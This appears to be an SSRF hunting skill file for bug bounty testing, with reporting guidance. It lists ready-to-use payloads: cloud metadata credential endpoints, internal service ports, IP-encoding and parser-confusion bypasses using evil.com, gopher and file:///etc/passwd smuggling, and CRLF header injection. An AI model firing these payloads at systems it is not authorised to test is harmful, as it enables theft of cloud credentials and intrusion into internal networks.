hunt-ssrf

name	hunt-ssrf
description	SSRF hunting methodology with OOB detection via interactsh, cloud metadata targets, and blind SSRF techniques. Use on any feature that accepts a URL, hostname, or external reference.

Hunting SSRF

Where SSRF hides

• Webhook configuration (Slack/Discord/custom URL fields)
• Avatar / profile image URL import
• PDF / screenshot / HTML-to-image generators
• SSO metadata URL (SAML EntityDescriptor)
• XML external entity (XXE) with http://
• URL preview / unfurl (link previews in messages)
• RSS feed aggregators, podcast URL fetchers
• File import "from URL" features
• Server-side proxy endpoints (/api/proxy?url=)
• OAuth redirect_uri when server-side validated
• Image resize / thumbnail services

The OOB-first workflow

Use interactsh (interactsh-client) for out-of-band detection. Payload: http://{unique}.oast.live/ — if you get a DNS or HTTP hit, the server fetched it.

Start with OOB even when you can't see a response, because most interesting SSRF is blind.

Target list (use in order)

1. OOB collaborator — confirms fetch happens at all
2. Cloud metadata:
   • AWS: http://169.254.169.254/latest/meta-data/, http://169.254.169.254/latest/meta-data/iam/security-credentials/
   • GCP: http://metadata.google.internal/computeMetadata/v1/ (requires Metadata-Flavor: Google header)
   • Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 (requires Metadata: true)
   • DigitalOcean: http://169.254.169.254/metadata/v1/
3. Localhost: http://127.0.0.1, http://localhost, http://[::1], http://0.0.0.0, http://0/, http://127.1
4. Internal ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
5. Admin panels on common internal ports: :8080, :8500 (consul), :2375 (docker), :6379 (redis), :9200 (elasticsearch)

Bypass techniques (when first attempt is blocked)

• Alternate IP encodings: http://2130706433/ (decimal), http://0x7f000001/ (hex), http://0177.0.0.1/ (octal)
• IPv6: http://[::ffff:127.0.0.1]/, http://[0:0:0:0:0:ffff:127.0.0.1]/
• DNS rebinding: http://rbnd.interact.sh/ (A record flips after first resolution)
• Redirect chain: your server 302s to internal
• URL parser confusion: http://evil.com@127.0.0.1/, http://127.0.0.1#@evil.com/
• Protocol smuggling: gopher://, dict://, ftp://, file:///etc/passwd
• CRLF injection in the URL to smuggle headers: http://host%0d%0aX-Custom: foo

Blind SSRF → impact uplift

Blind SSRF alone is often Low/Medium. Upgrade by:

• Retrieving cloud creds (AWS IMDSv1) → Critical
• Internal service with unauthenticated admin endpoints (consul, redis) → Critical
• Port scan via timing differences → adds recon impact
• Triggering internal webhooks that mutate state

IMDSv2 note

AWS IMDSv2 requires PUT /latest/api/token with a session token — plain SSRF can't reach it unless the vulnerable code uses PUT with custom headers. Don't assume a target on AWS is unreachable; check via OOB first.

Reporting

• Lead with OOB evidence (interactsh transcript)
• Show the exact request that triggered the fetch
• If you pulled creds, redact them; show the response shape only
• Impact: "SSRF → IAM credentials → S3 read of all tenants' data" is Critical